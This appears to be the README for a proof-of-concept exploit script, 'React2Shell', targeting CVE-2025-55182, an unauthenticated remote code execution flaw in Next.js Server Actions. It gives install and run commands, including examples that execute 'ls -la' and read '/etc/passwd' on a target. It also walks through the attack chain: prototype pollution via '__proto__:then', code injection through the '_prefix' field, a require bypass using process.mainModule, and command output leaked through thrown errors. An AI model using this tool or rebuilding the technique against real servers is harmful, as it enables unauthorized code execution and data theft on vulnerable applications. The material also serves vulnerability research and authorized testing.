
Proof-of-concept exploit for CVE-2025-55182, a critical RCE vulnerability in Next.js Server Actions. Exploits insecure deserialization in the React Flight protocol to execute arbitrary commands via prototype pollution and sandbox bypass.
A Proof-of-Concept (PoC) script for React2Shell (CVE-2025-55182), a critical remote code execution (RCE) vulnerability affecting Next.js applications using Server Actions.
[!WARNING] Disclaimer: This tool is for educational and authorized testing purposes only. I am not responsible for any misuse.
This script exploits an insecure deserialization vulnerability in the React Server Components "Flight" protocol. It allows unauthenticated attackers to execute arbitrary JavaScript code on the server, leading to partial Remote Code Execution (RCE).
require (global.require or via the module constructor), ensuring it works on modern Node.js versions (v14+).pip install -r requirements.txt
python3 react2shell.py -u <TARGET_URL> [-c <COMMAND>]
| Argument | Description | Default |
|---|---|---|
-u, --url | Required. The target URL (e.g., http://localhost:3000/). | N/A |
-c, --cmd | Optional. The command to execute on the server. | id |
Check user identity:
python3 react2shell.py -u http://127.0.0.1:3000/
List directory contents:
python3 react2shell.py -u http://127.0.0.1:3000/ -c "ls -la"
Read a sensitive file:
python3 react2shell.py -u http://127.0.0.1:3000/ -c "cat /etc/passwd"
The exploit leverages a Prototype Pollution and Insecure Deserialization chain within the Next.js Server Actions handling of React Server Components (RSC).
Next-Action header signals the server to process a Server Action.then property ("$1:__proto__:then"). This tricks the server's asynchronous request handler into treating the payload as a "Thenable" (Promise-like object)._response object. The _prefix field is normally used for internal stream buffering, but by manipulating it, we can inject raw JavaScript.require function is often stripped from the global scope to prevent RCE. The script bypasses this by traversing the process.mainModule prototype chain:
var require = global.require || global.process.mainModule.constructor._load;
child_process and execute system commands.execSync), and the output is thrown as an Error object. This error is serialized and returned to the client in the HTTP response body, allowing us to see the command output.This tool was developed with the assistance of Gemini 3 Pro.